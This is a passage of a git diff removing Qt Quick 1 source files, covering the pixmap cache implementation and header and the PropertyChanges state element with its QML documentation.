m_unreferencedPixmaps; - data->prevUnreferencedPtr = &m_unreferencedPixmaps; - - m_unreferencedPixmaps = data; - if (m_unreferencedPixmaps->nextUnreferenced) { - m_unreferencedPixmaps->nextUnreferenced->prevUnreferenced = m_unreferencedPixmaps; - m_unreferencedPixmaps->nextUnreferenced->prevUnreferencedPtr = &m_unreferencedPixmaps->nextUnreferenced; - } - - if (!m_lastUnreferencedPixmap) - m_lastUnreferencedPixmap = data; - - m_unreferencedCost += data->cost(); - - shrinkCache(-1); // Shrink the cache incase it has become larger than cache_limit - - if (m_timerId == -1 && m_unreferencedPixmaps) - m_timerId = startTimer(CACHE_EXPIRE_TIME * 1000); -} - -void QDeclarative1PixmapStore::referencePixmap(QDeclarative1PixmapData *data) -{ - Q_ASSERT(data->prevUnreferencedPtr); - - *data->prevUnreferencedPtr = data->nextUnreferenced; - if (data->nextUnreferenced) { - data->nextUnreferenced->prevUnreferencedPtr = data->prevUnreferencedPtr; - data->nextUnreferenced->prevUnreferenced = data->prevUnreferenced; - } - if (m_lastUnreferencedPixmap == data) - m_lastUnreferencedPixmap = data->prevUnreferenced; - - data->nextUnreferenced = 0; - data->prevUnreferencedPtr = 0; - data->prevUnreferenced = 0; - - m_unreferencedCost -= data->cost(); -} - -void QDeclarative1PixmapStore::shrinkCache(int remove) -{ - while ((remove > 0 || m_unreferencedCost > cache_limit) && m_lastUnreferencedPixmap) { - QDeclarative1PixmapData *data = m_lastUnreferencedPixmap; - Q_ASSERT(data->nextUnreferenced == 0); - - *data->prevUnreferencedPtr = 0; - m_lastUnreferencedPixmap = data->prevUnreferenced; - data->prevUnreferencedPtr = 0; - data->prevUnreferenced = 0; - - remove -= data->cost(); - m_unreferencedCost -= data->cost(); - data->removeFromCache(); - delete data; - } -} - -void QDeclarative1PixmapStore::timerEvent(QTimerEvent *) -{ - int removalCost = m_unreferencedCost / CACHE_REMOVAL_FRACTION; - - shrinkCache(removalCost); - - if (m_unreferencedPixmaps == 0) { - killTimer(m_timerId); - m_timerId = -1; - } -} - -QDeclarative1PixmapReply::QDeclarative1PixmapReply(QDeclarative1PixmapData *d) -: data(d), reader(0), requestSize(d->requestSize), loading(false), redirectCount(0) -{ - if (finishedIndex == -1) { - finishedIndex = QDeclarative1PixmapReply::staticMetaObject.indexOfSignal("finished()"); - downloadProgressIndex = QDeclarative1PixmapReply::staticMetaObject.indexOfSignal("downloadProgress(qint64,qint64)"); - } -} - -QDeclarative1PixmapReply::~QDeclarative1PixmapReply() -{ -} - -bool QDeclarative1PixmapReply::event(QEvent *event) -{ - if (event->type() == QEvent::User) { - - if (data) { - Event *de = static_cast(event); - data->pixmapStatus = (de->error == NoError) ? QDeclarative1Pixmap::Ready : QDeclarative1Pixmap::Error; - - if (data->pixmapStatus == QDeclarative1Pixmap::Ready) { - data->pixmap = QPixmap::fromImage(de->image); - data->implicitSize = de->implicitSize; - } else { - data->errorString = de->errorString; - data->removeFromCache(); // We don't continue to cache error'd pixmaps - } - - data->reply = 0; - emit finished(); - } - - delete this; - return true; - } else { - return QObject::event(event); - } -} - -int QDeclarative1PixmapData::cost() const -{ - return (pixmap.width() * pixmap.height() * pixmap.depth()) / 8; -} - -void QDeclarative1PixmapData::addref() -{ - ++refCount; - if (prevUnreferencedPtr) - pixmapStore()->referencePixmap(this); -} - -void QDeclarative1PixmapData::release() -{ - Q_ASSERT(refCount > 0); - --refCount; - - if (refCount == 0) { - if (reply) { - reply->reader->cancel(reply); - reply = 0; - } - - if (pixmapStatus == QDeclarative1Pixmap::Ready) { - pixmapStore()->unreferencePixmap(this); - } else { - removeFromCache(); - delete this; - } - } -} - -void QDeclarative1PixmapData::addToCache() -{ - if (!inCache) { - QDeclarative1PixmapKey key = { &url, &requestSize }; - pixmapStore()->m_cache.insert(key, this); - inCache = true; - } -} - -void QDeclarative1PixmapData::removeFromCache() -{ - if (inCache) { - QDeclarative1PixmapKey key = { &url, &requestSize }; - pixmapStore()->m_cache.remove(key); - inCache = false; - } -} - -static QDeclarative1PixmapData* createPixmapDataSync(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, bool *ok) -{ - if (url.scheme() == QLatin1String("image")) { - QSize readSize; - QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine); - QDeclarativeImageProvider::ImageType imageType = ep->getImageProviderType(url); - - switch (imageType) { - case QDeclarativeImageProvider::Image: - { - QImage image = ep->getImageFromProvider(url, &readSize, requestSize); - if (!image.isNull()) { - *ok = true; - return new QDeclarative1PixmapData(url, QPixmap::fromImage(image), readSize, requestSize); - } - } - break; - case QDeclarativeImageProvider::Pixmap: - { - QPixmap pixmap = ep->getPixmapFromProvider(url, &readSize, requestSize); - if (!pixmap.isNull()) { - *ok = true; - return new QDeclarative1PixmapData(url, pixmap, readSize, requestSize); - } - } - break; - case QDeclarativeImageProvider::Texture: - case QDeclarativeImageProvider::Invalid: - break; - } - - // no matching provider, or provider has bad image type, or provider returned null image - return new QDeclarative1PixmapData(url, requestSize, - QDeclarative1Pixmap::tr("Failed to get image from provider: %1").arg(url.toString())); - } - - QString localFile = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url); - if (localFile.isEmpty()) - return 0; - - QFile f(localFile); - QSize readSize; - QString errorString; - - if (f.open(QIODevice::ReadOnly)) { - QImage image; - if (readImage(url, &f, &image, &errorString, &readSize, requestSize)) { - *ok = true; - return new QDeclarative1PixmapData(url, QPixmap::fromImage(image), readSize, requestSize); - } - } else { - errorString = QDeclarative1Pixmap::tr("Cannot open: %1").arg(url.toString()); - } - return new QDeclarative1PixmapData(url, requestSize, errorString); -} - - -struct QDeclarative1PixmapNull { - QUrl url; - QPixmap pixmap; - QSize size; -}; -Q_GLOBAL_STATIC(QDeclarative1PixmapNull, nullPixmap); - -QDeclarative1Pixmap::QDeclarative1Pixmap() -: d(0) -{ -} - -QDeclarative1Pixmap::QDeclarative1Pixmap(QDeclarativeEngine *engine, const QUrl &url) -: d(0) -{ - load(engine, url); -} - -QDeclarative1Pixmap::QDeclarative1Pixmap(QDeclarativeEngine *engine, const QUrl &url, const QSize &size) -: d(0) -{ - load(engine, url, size); -} - -QDeclarative1Pixmap::~QDeclarative1Pixmap() -{ - if (d) { - d->release(); - d = 0; - } -} - -bool QDeclarative1Pixmap::isNull() const -{ - return d == 0; -} - -bool QDeclarative1Pixmap::isReady() const -{ - return status() == Ready; -} - -bool QDeclarative1Pixmap::isError() const -{ - return status() == Error; -} - -bool QDeclarative1Pixmap::isLoading() const -{ - return status() == Loading; -} - -QString QDeclarative1Pixmap::error() const -{ - if (d) - return d->errorString; - else - return QString(); -} - -QDeclarative1Pixmap::Status QDeclarative1Pixmap::status() const -{ - if (d) - return d->pixmapStatus; - else - return Null; -} - -const QUrl &QDeclarative1Pixmap::url() const -{ - if (d) - return d->url; - else - return nullPixmap()->url; -} - -const QSize &QDeclarative1Pixmap::implicitSize() const -{ - if (d) - return d->implicitSize; - else - return nullPixmap()->size; -} - -const QSize &QDeclarative1Pixmap::requestSize() const -{ - if (d) - return d->requestSize; - else - return nullPixmap()->size; -} - -const QPixmap &QDeclarative1Pixmap::pixmap() const -{ - if (d) - return d->pixmap; - else - return nullPixmap()->pixmap; -} - -void QDeclarative1Pixmap::setPixmap(const QPixmap &p) -{ - clear(); - - if (!p.isNull()) - d = new QDeclarative1PixmapData(p); -} - -int QDeclarative1Pixmap::width() const -{ - if (d) - return d->pixmap.width(); - else - return 0; -} - -int QDeclarative1Pixmap::height() const -{ - if (d) - return d->pixmap.height(); - else - return 0; -} - -QRect QDeclarative1Pixmap::rect() const -{ - if (d) - return d->pixmap.rect(); - else - return QRect(); -} - -void QDeclarative1Pixmap::load(QDeclarativeEngine *engine, const QUrl &url) -{ - load(engine, url, QSize(), QDeclarative1Pixmap::Cache); -} - -void QDeclarative1Pixmap::load(QDeclarativeEngine *engine, const QUrl &url, QDeclarative1Pixmap::Options options) -{ - load(engine, url, QSize(), options); -} - -void QDeclarative1Pixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &size) -{ - load(engine, url, size, QDeclarative1Pixmap::Cache); -} - -void QDeclarative1Pixmap::load(QDeclarativeEngine *engine, const QUrl &url, const QSize &requestSize, QDeclarative1Pixmap::Options options) -{ - if (d) { d->release(); d = 0; } - - QDeclarative1PixmapKey key = { &url, &requestSize }; - QDeclarative1PixmapStore *store = pixmapStore(); - - QHash::Iterator iter = store->m_cache.find(key); - - if (iter == store->m_cache.end()) { - if (options & QDeclarative1Pixmap::Asynchronous) { - // pixmaps can only be loaded synchronously - if (url.scheme() == QLatin1String("image") - && QDeclarativeEnginePrivate::get(engine)->getImageProviderType(url) == QDeclarativeImageProvider::Pixmap) { - options &= ~QDeclarative1Pixmap::Asynchronous; - } - } - - if (!(options & QDeclarative1Pixmap::Asynchronous)) { - bool ok = false; - d = createPixmapDataSync(engine, url, requestSize, &ok); - if (ok) { - if (options & QDeclarative1Pixmap::Cache) - d->addToCache(); - return; - } - if (d) // loadable, but encountered error while loading - return; - } - - if (!engine) - return; - - QDeclarative1PixmapReader *reader = QDeclarative1PixmapReader::instance(engine); - - d = new QDeclarative1PixmapData(url, requestSize); - if (options & QDeclarative1Pixmap::Cache) - d->addToCache(); - - d->reply = reader->getImage(d); - } else { - d = *iter; - d->addref(); - } -} - -void QDeclarative1Pixmap::clear() -{ - if (d) { - d->release(); - d = 0; - } -} - -void QDeclarative1Pixmap::clear(QObject *obj) -{ - if (d) { - if (d->reply) - QObject::disconnect(d->reply, 0, obj, 0); - d->release(); - d = 0; - } -} - -bool QDeclarative1Pixmap::connectFinished(QObject *object, const char *method) -{ - if (!d || !d->reply) { - qWarning("QDeclarative1Pixmap: connectFinished() called when not loading."); - return false; - } - - return QObject::connect(d->reply, SIGNAL(finished()), object, method); -} - -bool QDeclarative1Pixmap::connectFinished(QObject *object, int method) -{ - if (!d || !d->reply) { - qWarning("QDeclarative1Pixmap: connectFinished() called when not loading."); - return false; - } - - return QMetaObject::connect(d->reply, QDeclarative1PixmapReply::finishedIndex, object, method); -} - -bool QDeclarative1Pixmap::connectDownloadProgress(QObject *object, const char *method) -{ - if (!d || !d->reply) { - qWarning("QDeclarative1Pixmap: connectDownloadProgress() called when not loading."); - return false; - } - - return QObject::connect(d->reply, SIGNAL(downloadProgress(qint64,qint64)), object, method); -} - -bool QDeclarative1Pixmap::connectDownloadProgress(QObject *object, int method) -{ - if (!d || !d->reply) { - qWarning("QDeclarative1Pixmap: connectDownloadProgress() called when not loading."); - return false; - } - - return QMetaObject::connect(d->reply, QDeclarative1PixmapReply::downloadProgressIndex, object, method); -} - - - -QT_END_NAMESPACE - -#include diff --git a/src/qtquick1/util/qdeclarativepixmapcache_p.h b/src/qtquick1/util/qdeclarativepixmapcache_p.h deleted file mode 100644 index bc2cb9452a..0000000000 --- a/src/qtquick1/util/qdeclarativepixmapcache_p.h +++ /dev/null @@ -1,122 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEPIXMAPCACHE_H -#define QDECLARATIVEPIXMAPCACHE_H - -#include -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - -class QDeclarativeEngine; - - -class QDeclarative1PixmapData; -class Q_QTQUICK1_EXPORT QDeclarative1Pixmap -{ - Q_DECLARE_TR_FUNCTIONS(QDeclarative1Pixmap) -public: - QDeclarative1Pixmap(); - QDeclarative1Pixmap(QDeclarativeEngine *, const QUrl &); - QDeclarative1Pixmap(QDeclarativeEngine *, const QUrl &, const QSize &); - ~QDeclarative1Pixmap(); - - enum Status { Null, Ready, Error, Loading }; - - enum Option { - Asynchronous = 0x00000001, - Cache = 0x00000002 - }; - Q_DECLARE_FLAGS(Options, Option) - - bool isNull() const; - bool isReady() const; - bool isError() const; - bool isLoading() const; - - Status status() const; - QString error() const; - const QUrl &url() const; - const QSize &implicitSize() const; - const QSize &requestSize() const; - const QPixmap &pixmap() const; - void setPixmap(const QPixmap &); - - QRect rect() const; - int width() const; - int height() const; - inline operator const QPixmap &() const; - - void load(QDeclarativeEngine *, const QUrl &); - void load(QDeclarativeEngine *, const QUrl &, QDeclarative1Pixmap::Options options); - void load(QDeclarativeEngine *, const QUrl &, const QSize &); - void load(QDeclarativeEngine *, const QUrl &, const QSize &, QDeclarative1Pixmap::Options options); - - void clear(); - void clear(QObject *); - - bool connectFinished(QObject *, const char *); - bool connectFinished(QObject *, int); - bool connectDownloadProgress(QObject *, const char *); - bool connectDownloadProgress(QObject *, int); - -private: - Q_DISABLE_COPY(QDeclarative1Pixmap) - QDeclarative1PixmapData *d; -}; - -inline QDeclarative1Pixmap::operator const QPixmap &() const -{ - return pixmap(); -} - -Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarative1Pixmap::Options) - -QT_END_NAMESPACE - -QT_END_HEADER - -#endif // QDECLARATIVEPIXMAPCACHE_H diff --git a/src/qtquick1/util/qdeclarativepropertychanges.cpp b/src/qtquick1/util/qdeclarativepropertychanges.cpp deleted file mode 100644 index 9950915fd4..0000000000 --- a/src/qtquick1/util/qdeclarativepropertychanges.cpp +++ /dev/null @@ -1,801 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativepropertychanges_p.h" - -#include "QtQuick1/private/qdeclarativeopenmetaobject_p.h" -#include "QtDeclarative/private/qdeclarativerewrite_p.h" -#include "QtDeclarative/private/qdeclarativeengine_p.h" -#include "QtDeclarative/private/qdeclarativecompiler_p.h" - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include - -#include - -QT_BEGIN_NAMESPACE - - - -/*! - \qmlclass PropertyChanges QDeclarative1PropertyChanges - \inqmlmodule QtQuick 1 - \ingroup qml-state-elements - \since QtQuick 1.0 - \brief The PropertyChanges element describes new property bindings or values for a state. - - PropertyChanges is used to define the property values or bindings in a - \l State. This enables an item's property values to be changed when it - \l {QML States}{changes between states}. - - To create a PropertyChanges object, specify the \l target item whose - properties are to be modified, and define the new property values or - bindings. For example: - - \snippet doc/src/snippets/qtquick1/propertychanges.qml import - \codeline - \snippet doc/src/snippets/qtquick1/propertychanges.qml 0 - - When the mouse is pressed, the \l Rectangle changes to the \e resized - state. In this state, the PropertyChanges object sets the rectangle's - color to blue and the \c height value to that of \c container.height. - - Note this automatically binds \c rect.height to \c container.height - in the \e resized state. If a property binding should not be - established, and the height should just be set to the value of - \c container.height at the time of the state change, set the \l explicit - property to \c true. - - A PropertyChanges object can also override the default signal handler - for an object to implement a signal handler specific to the new state: - - \qml - PropertyChanges { - target: myMouseArea - onClicked: doSomethingDifferent() - } - \endqml - - \note PropertyChanges can be used to change anchor margins, but not other anchor - values; use AnchorChanges for this instead. Similarly, to change an \l Item's - \l {Item::}{parent} value, use ParentChanges instead. - - - \section2 Resetting property values - - The \c undefined value can be used to reset the property value for a state. - In the following example, when \c theText changes to the \e widerText - state, its \c width property is reset, giving the text its natural width - and displaying the whole string on a single line. - - \snippet doc/src/snippets/qtquick1/propertychanges.qml reset - - - \section2 Immediate property changes in transitions - - When \l{QML Animation and Transitions}{Transitions} are used to animate - state changes, they animate properties from their values in the current - state to those defined in the new state (as defined by PropertyChanges - objects). However, it is sometimes desirable to set a property value - \e immediately during a \l Transition, without animation; in these cases, - the PropertyAction element can be used to force an immediate property - change. - - See the PropertyAction documentation for more details. - - \sa {declarative/animation/states}{states example}, {qmlstate}{States}, QtDeclarative -*/ - -/*! - \qmlproperty Object QtQuick1::PropertyChanges::target - This property holds the object which contains the properties to be changed. -*/ - -class QDeclarative1ReplaceSignalHandler : public QDeclarative1ActionEvent -{ -public: - QDeclarative1ReplaceSignalHandler() : expression(0), reverseExpression(0), - rewindExpression(0), ownedExpression(0) {} - ~QDeclarative1ReplaceSignalHandler() { - delete ownedExpression; - } - - virtual QString typeName() const { return QLatin1String("ReplaceSignalHandler"); } - - QDeclarativeProperty property; - QDeclarativeExpression *expression; - QDeclarativeExpression *reverseExpression; - QDeclarativeExpression *rewindExpression; - QDeclarativeGuard ownedExpression; - - virtual void execute(Reason) { - ownedExpression = QDeclarativePropertyPrivate::setSignalExpression(property, expression); - if (ownedExpression == expression) - ownedExpression = 0; - } - - virtual bool isReversable() { return true; } - virtual void reverse(Reason) { - ownedExpression = QDeclarativePropertyPrivate::setSignalExpression(property, reverseExpression); - if (ownedExpression == reverseExpression) - ownedExpression = 0; - } - - virtual void saveOriginals() { - saveCurrentValues(); - reverseExpression = rewindExpression; - } - - virtual bool needsCopy() { return true; } - virtual void copyOriginals(QDeclarative1ActionEvent *other) - { - QDeclarative1ReplaceSignalHandler *rsh = static_cast(other); - saveCurrentValues(); - if (rsh == this) - return; - reverseExpression = rsh->reverseExpression; - if (rsh->ownedExpression == reverseExpression) { - ownedExpression = rsh->ownedExpression; - rsh->ownedExpression = 0; - } - } - - virtual void rewind() { - ownedExpression = QDeclarativePropertyPrivate::setSignalExpression(property, rewindExpression); - if (ownedExpression == rewindExpression) - ownedExpression = 0; - } - virtual void saveCurrentValues() { - rewindExpression = QDeclarativePropertyPrivate::signalExpression(property); - } - - virtual bool override(QDeclarative1ActionEvent*other) { - if (other == this) - return true; - if (other->typeName() != typeName()) - return false; - if (static_cast(other)->property == property) - return true; - return false; - } -}; - - -class QDeclarative1PropertyChangesPrivate : public QDeclarative1StateOperationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1PropertyChanges) -public: - QDeclarative1PropertyChangesPrivate() : decoded(true), restore(true), - isExplicit(false) {} - - QDeclarativeGuard object; - QByteArray data; - - bool decoded : 1; - bool restore : 1; - bool isExplicit : 1; - - void decode(); - - class ExpressionChange { - public: - ExpressionChange(const QString &_name, - QDeclarativeBinding::Identifier _id, - QDeclarativeExpression *_expr) - : name(_name), id(_id), expression(_expr) {} - QString name; - QDeclarativeBinding::Identifier id; - QDeclarativeExpression *expression; - }; - - QList > properties; - QList expressions; - QList signalReplacements; - - QDeclarativeProperty property(const QString &); -}; - -void -QDeclarative1PropertyChangesParser::compileList(QList > &list, - const QString &pre, - const QDeclarativeCustomParserProperty &prop) -{ - QString propName = pre + prop.name(); - - QList values = prop.assignedValues(); - for (int ii = 0; ii < values.count(); ++ii) { - const QVariant &value = values.at(ii); - - if (value.userType() == qMetaTypeId()) { - error(qvariant_cast(value), - QDeclarative1PropertyChanges::tr("PropertyChanges does not support creating state-specific objects.")); - continue; - } else if(value.userType() == qMetaTypeId()) { - - QDeclarativeCustomParserProperty prop = - qvariant_cast(value); - QString pre = propName + QLatin1Char('.'); - compileList(list, pre, prop); - - } else { - list << qMakePair(propName, value); - } - } -} - -QByteArray -QDeclarative1PropertyChangesParser::compile(const QList &props) -{ - QList > data; - for(int ii = 0; ii < props.count(); ++ii) - compileList(data, QString(), props.at(ii)); - - QByteArray rv; - QDataStream ds(&rv, QIODevice::WriteOnly); - - ds << data.count(); - for(int ii = 0; ii < data.count(); ++ii) { - QDeclarativeScript::Variant v = qvariant_cast(data.at(ii).second); - QVariant var; - bool isScript = v.isScript(); - QDeclarativeBinding::Identifier id = 0; - switch(v.type()) { - case QDeclarativeScript::Variant::Boolean: - var = QVariant(v.asBoolean()); - break; - case QDeclarativeScript::Variant::Number: - var = QVariant(v.asNumber()); - break; - case QDeclarativeScript::Variant::String: - var = QVariant(v.asString()); - break; - case QDeclarativeScript::Variant::Invalid: - case QDeclarativeScript::Variant::Script: - var = QVariant(v.asScript()); - { - id = rewriteBinding(v, data.at(ii).first); - } - break; - } - - ds << data.at(ii).first << isScript << var; - if (isScript) - ds << id; - } - - return rv; -} - -void QDeclarative1PropertyChangesPrivate::decode() -{ - Q_Q(QDeclarative1PropertyChanges); - if (decoded) - return; - - QDataStream ds(&data, QIODevice::ReadOnly); - - int count; - ds >> count; - for (int ii = 0; ii < count; ++ii) { - QString name; - bool isScript; - QVariant data; - QDeclarativeBinding::Identifier id = QDeclarativeBinding::Invalid; - ds >> name; - ds >> isScript; - ds >> data; - if (isScript) - ds >> id; - - QDeclarativeProperty prop = property(name); //### better way to check for signal property? - if (prop.type() & QDeclarativeProperty::SignalProperty) { - QDeclarativeExpression *expression = new QDeclarativeExpression(qmlContext(q), object, data.toString()); - QDeclarativeData *ddata = QDeclarativeData::get(q); - if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) - expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber, ddata->columnNumber); - QDeclarative1ReplaceSignalHandler *handler = new QDeclarative1ReplaceSignalHandler; - handler->property = prop; - handler->expression = expression; - signalReplacements << handler; - } else if (isScript) { - QDeclarativeExpression *expression = new QDeclarativeExpression(qmlContext(q), object, data.toString()); - QDeclarativeData *ddata = QDeclarativeData::get(q); - if (ddata && ddata->outerContext && !ddata->outerContext->url.isEmpty()) - expression->setSourceLocation(ddata->outerContext->url.toString(), ddata->lineNumber, ddata->columnNumber); - expressions << ExpressionChange(name, id, expression); - } else { - properties << qMakePair(name, data); - } - } - - decoded = true; - data.clear(); -} - -void QDeclarative1PropertyChangesParser::setCustomData(QObject *object, - const QByteArray &data) -{ - QDeclarative1PropertyChangesPrivate *p = - static_cast(QObjectPrivate::get(object)); - p->data = data; - p->decoded = false; -} - -QDeclarative1PropertyChanges::QDeclarative1PropertyChanges() -: QDeclarative1StateOperation(*(new QDeclarative1PropertyChangesPrivate)) -{ -} - -QDeclarative1PropertyChanges::~QDeclarative1PropertyChanges() -{ - Q_D(QDeclarative1PropertyChanges); - for(int ii = 0; ii < d->expressions.count(); ++ii) - delete d->expressions.at(ii).expression; - for(int ii = 0; ii < d->signalReplacements.count(); ++ii) - delete d->signalReplacements.at(ii); -} - -QObject *QDeclarative1PropertyChanges::object() const -{ - Q_D(const QDeclarative1PropertyChanges); - return d->object; -} - -void QDeclarative1PropertyChanges::setObject(QObject *o) -{ - Q_D(QDeclarative1PropertyChanges); - d->object = o; -} - -/*! - \qmlproperty bool QtQuick1::PropertyChanges::restoreEntryValues - - This property holds whether the previous values should be restored when - leaving the state. - - The default value is \c true. Setting this value to \c false creates a - temporary state that has permanent effects on property values. -*/ -bool QDeclarative1PropertyChanges::restoreEntryValues() const -{ - Q_D(const QDeclarative1PropertyChanges); - return d->restore; -} - -void QDeclarative1PropertyChanges::setRestoreEntryValues(bool v) -{ - Q_D(QDeclarative1PropertyChanges); - d->restore = v; -} - -QDeclarativeProperty -QDeclarative1PropertyChangesPrivate::property(const QString &property) -{ - Q_Q(QDeclarative1PropertyChanges); - QDeclarativeProperty prop(object, property, qmlContext(q)); - if (!prop.isValid()) { - qmlInfo(q) << QDeclarative1PropertyChanges::tr("Cannot assign to non-existent property \"%1\"").arg(property); - return QDeclarativeProperty(); - } else if (!(prop.type() & QDeclarativeProperty::SignalProperty) && !prop.isWritable()) { - qmlInfo(q) << QDeclarative1PropertyChanges::tr("Cannot assign to read-only property \"%1\"").arg(property); - return QDeclarativeProperty(); - } - return prop; -} - -QDeclarative1PropertyChanges::ActionList QDeclarative1PropertyChanges::actions() -{ - Q_D(QDeclarative1PropertyChanges); - - d->decode(); - - ActionList list; - - for (int ii = 0; ii < d->properties.count(); ++ii) { - - QDeclarative1Action a(d->object, d->properties.at(ii).first, - qmlContext(this), d->properties.at(ii).second); - - if (a.property.isValid()) { - a.restore = restoreEntryValues(); - list << a; - } - } - - for (int ii = 0; ii < d->signalReplacements.count(); ++ii) { - - QDeclarative1ReplaceSignalHandler *handler = d->signalReplacements.at(ii); - - if (handler->property.isValid()) { - QDeclarative1Action a; - a.event = handler; - list << a; - } - } - - for (int ii = 0; ii < d->expressions.count(); ++ii) { - - const QString &property = d->expressions.at(ii).name; - QDeclarativeProperty prop = d->property(property); - - if (prop.isValid()) { - QDeclarative1Action a; - a.restore = restoreEntryValues(); - a.property = prop; - a.fromValue = a.property.read(); - a.specifiedObject = d->object; - a.specifiedProperty = property; - - if (d->isExplicit) { - a.toValue = d->expressions.at(ii).expression->evaluate(); - } else { - QDeclarativeExpression *e = d->expressions.at(ii).expression; - - QDeclarativeBinding::Identifier id = d->expressions.at(ii).id; - QDeclarativeBinding *newBinding = id != QDeclarativeBinding::Invalid ? QDeclarativeBinding::createBinding(id, object(), qmlContext(this), e->sourceFile(), e->lineNumber()) : 0; - if (!newBinding) { - newBinding = new QDeclarativeBinding(e->expression(), object(), qmlContext(this)); - newBinding->setSourceLocation(e->sourceFile(), e->lineNumber(), e->columnNumber()); - } - newBinding->setTarget(prop); - a.toBinding = newBinding; - a.deletableToBinding = true; - } - - list << a; - } - } - - return list; -} - -/*! - \qmlproperty bool QtQuick1::PropertyChanges::explicit - - If explicit is set to true, any potential bindings will be interpreted as - once-off assignments that occur when the state is entered. - - In the following example, the addition of explicit prevents \c myItem.width from - being bound to \c parent.width. Instead, it is assigned the value of \c parent.width - at the time of the state change. - \qml - PropertyChanges { - target: myItem - explicit: true - width: parent.width - } - \endqml - - By default, explicit is false. -*/ -bool QDeclarative1PropertyChanges::isExplicit() const -{ - Q_D(const QDeclarative1PropertyChanges); - return d->isExplicit; -} - -void QDeclarative1PropertyChanges::setIsExplicit(bool e) -{ - Q_D(QDeclarative1PropertyChanges); - d->isExplicit = e; -} - -bool QDeclarative1PropertyChanges::containsValue(const QString &name) const -{ - Q_D(const QDeclarative1PropertyChanges); - typedef QPair PropertyEntry; - - QListIterator propertyIterator(d->properties); - while (propertyIterator.hasNext()) { - const PropertyEntry &entry = propertyIterator.next(); - if (entry.first == name) { - return true; - } - } - - return false; -} - -bool QDeclarative1PropertyChanges::containsExpression(const QString &name) const -{ - Q_D(const QDeclarative1PropertyChanges); - typedef QDeclarative1PropertyChangesPrivate::ExpressionChange ExpressionEntry; - - QListIterator expressionIterator(d->expressions); - while (expressionIterator.hasNext()) { - const ExpressionEntry &entry = expressionIterator.next(); - if (entry.name == name) { - return true; - } - } - - return false; -} - -bool QDeclarative1PropertyChanges::containsProperty(const QString &name) const -{ - return containsValue(name) || containsExpression(name); -} - -void QDeclarative1PropertyChanges::changeValue(const QString &name, const QVariant &value) -{ - Q_D(QDeclarative1PropertyChanges); - typedef QPair PropertyEntry; - typedef QDeclarative1PropertyChangesPrivate::ExpressionChange ExpressionEntry; - - QMutableListIterator expressionIterator(d->expressions); - while (expressionIterator.hasNext()) { - const ExpressionEntry &entry = expressionIterator.next(); - if (entry.name == name) { - expressionIterator.remove(); - if (state() && state()->isStateActive()) { - QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(d->property(name)); - if (oldBinding) { - QDeclarativePropertyPrivate::setBinding(d->property(name), 0); - oldBinding->destroy(); - } - d->property(name).write(value); - } - - d->properties.append(PropertyEntry(name, value)); - return; - } - } - - QMutableListIterator propertyIterator(d->properties); - while (propertyIterator.hasNext()) { - PropertyEntry &entry = propertyIterator.next(); - if (entry.first == name) { - entry.second = value; - if (state() && state()->isStateActive()) - d->property(name).write(value); - return; - } - } - - QDeclarative1Action action; - action.restore = restoreEntryValues(); - action.property = d->property(name); - action.fromValue = action.property.read(); - action.specifiedObject = object(); - action.specifiedProperty = name; - action.toValue = value; - - propertyIterator.insert(PropertyEntry(name, value)); - if (state() && state()->isStateActive()) { - state()->addEntryToRevertList(action); - QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(action.property); - if (oldBinding) - oldBinding->setEnabled(false, QDeclarativePropertyPrivate::DontRemoveBinding | QDeclarativePropertyPrivate::BypassInterceptor); - d->property(name).write(value); - } 